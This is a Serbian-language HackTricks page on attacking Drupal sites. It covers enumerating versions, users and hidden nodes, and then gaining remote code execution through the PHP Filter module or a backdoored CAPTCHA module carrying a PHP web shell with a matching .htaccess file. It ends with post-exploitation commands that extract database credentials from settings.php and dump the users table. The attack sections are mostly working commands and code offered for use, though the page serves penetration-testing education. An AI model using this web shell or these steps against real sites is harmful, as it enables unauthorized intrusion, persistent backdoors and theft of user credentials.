8.8 KiB
Drupal
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
{% embed url="https://websec.nl/" %}
Otkriće
- Proverite meta
curl https://www.drupal.org/ | grep 'content="Drupal'
- Node: Drupal indeksira svoj sadržaj koristeći čvorove. Čvor može sadržati bilo šta kao što su blog post, anketa, članak, itd. URI stranica obično imaju oblik
/node/<nodeid>
.
curl drupal-site.com/node/1
Enumeracija
Drupal podrazumeva tri tipa korisnika po podrazumevanim postavkama:
Administrator
: Ovaj korisnik ima potpunu kontrolu nad Drupal veb sajtom.Autentifikovani korisnik
: Ovi korisnici mogu da se prijave na veb sajt i obavljaju operacije poput dodavanja i uređivanja članaka na osnovu svojih dozvola.Anonimni
: Svi posetioci veb sajta su označeni kao anonimni. Po podrazumevanim postavkama, ovi korisnici samo mogu da čitaju postove.
Verzija
- Proverite
/CHANGELOG.txt
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
{% hint style="info" %}
Novije instalacije Drupal-a po default-u blokiraju pristup fajlovima CHANGELOG.txt
i README.txt
.
{% endhint %}
Enumeracija korisničkih imena
Registracija
Na /user/register pokušajte da kreirate korisničko ime, i ako je ime već zauzeto bićete obavešteni:
Zahtev za novu lozinku
Ako zatražite novu lozinku za postojeće korisničko ime:
Ako zatražite novu lozinku za nepostojeće korisničko ime:
Dobijanje broja korisnika
Pristupanjem /user/<broj> možete videti broj postojećih korisnika, u ovom slučaju je 2 jer /users/3 vraća grešku "nije pronađeno":
Skrivene stranice
Fuzz /node/$
gde je $
broj (od 1 do 500 na primer).
Možete pronaći skrivene stranice (test, dev) koje nisu referencirane od strane pretraživača.
Informacije o instaliranim modulima
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml
# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml
Automatsko
droopescan scan drupal -u http://drupal-site.local
RCE
Sa PHP Filter modulom
{% hint style="warning" %}
U starijim verzijama Drupal-a (pre verzije 8), bilo je moguće prijaviti se kao administrator i omogućiti PHP filter
modul, koji "Omogućava evaluaciju ugrađenog PHP koda/snippetova."
{% endhint %}
Potreban vam je plugin php da bude instaliran (proverite pristupom /modules/php i ako vrati 403 onda postoji, ako nije pronađen, onda plugin php nije instaliran)
Idite na Modules -> (Proverite) PHP Filter -> Sačuvajte konfiguraciju
Zatim kliknite na Add content -> Izaberite Basic Page ili Article -> Napišite php shellcode u telu -> Izaberite PHP code u Text formatu -> Izaberite Preview
Na kraju, jednostavno pristupite novo kreiranom nodu:
curl http://drupal-site.local/node/3
Instaliranje PHP Filter modula
Od verzije 8 nadalje, PHP Filter modul nije instaliran podrazumevano. Da bismo iskoristili ovu funkcionalnost, moramo samostalno instalirati modul.
- Preuzmite najnoviju verziju modula sa Drupal veb sajta.
- wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Kada se preuzme, idite na
Administracija
>Izveštaji
>Dostupna ažuriranja
. - Kliknite na
Pregledaj
, izaberite fajl iz direktorijuma u koji smo ga preuzeli, a zatim kliknite naInstaliraj
. - Kada se modul instalira, možemo kliknuti na
Sadržaj
i napraviti novu osnovnu stranicu, slično kao što smo uradili u primeru za Drupal 7. Ponovo, obavezno izaberitePHP kod
iz padajućeg menijaFormat teksta
.
Modul sa zadnjim vratima
Modul sa zadnjim vratima može se kreirati dodavanjem školjke postojećem modulu. Module možete pronaći na drupal.org veb sajtu. Izaberimo modul poput CAPTCHA. Pomaknite se nadole i kopirajte link za tar.gz arhivu.
- Preuzmite arhivu i izvucite njene sadržaje.
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
- Napravite PHP web shell sa sledećim sadržajem:
<?php
system($_GET["cmd"]);
?>
- Zatim treba da kreiramo
.htaccess
fajl kako bismo sebi omogućili pristup folderu. Ovo je neophodno jer Drupal zabranjuje direktni pristup/modules
folderu.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
- Konfiguracija iznad će primeniti pravila za / folder kada zahtevamo fajl u /modules. Kopirajte oba ova fajla u captcha folder i napravite arhivu.
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
- Pretpostavljajući da imamo administrativni pristup veb sajtu, kliknite na
Manage
, zatim naExtend
na bočnoj traci. Zatim kliknite na dugme+ Install new module
, i bićemo preusmereni na stranicu za instalaciju, poputhttp://drupal-site.local/admin/modules/install
. Pregledajte arhivu sa backdoor-om Captcha i kliknite naInstall
. - Kada instalacija uspe, idite na
/modules/captcha/shell.php
da biste izvršili komande.
Post Eksploatacija
Pročitajte settings.php
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null
Izbacivanje korisnika iz baze podataka
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'
Reference
{% embed url="https://websec.nl/" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.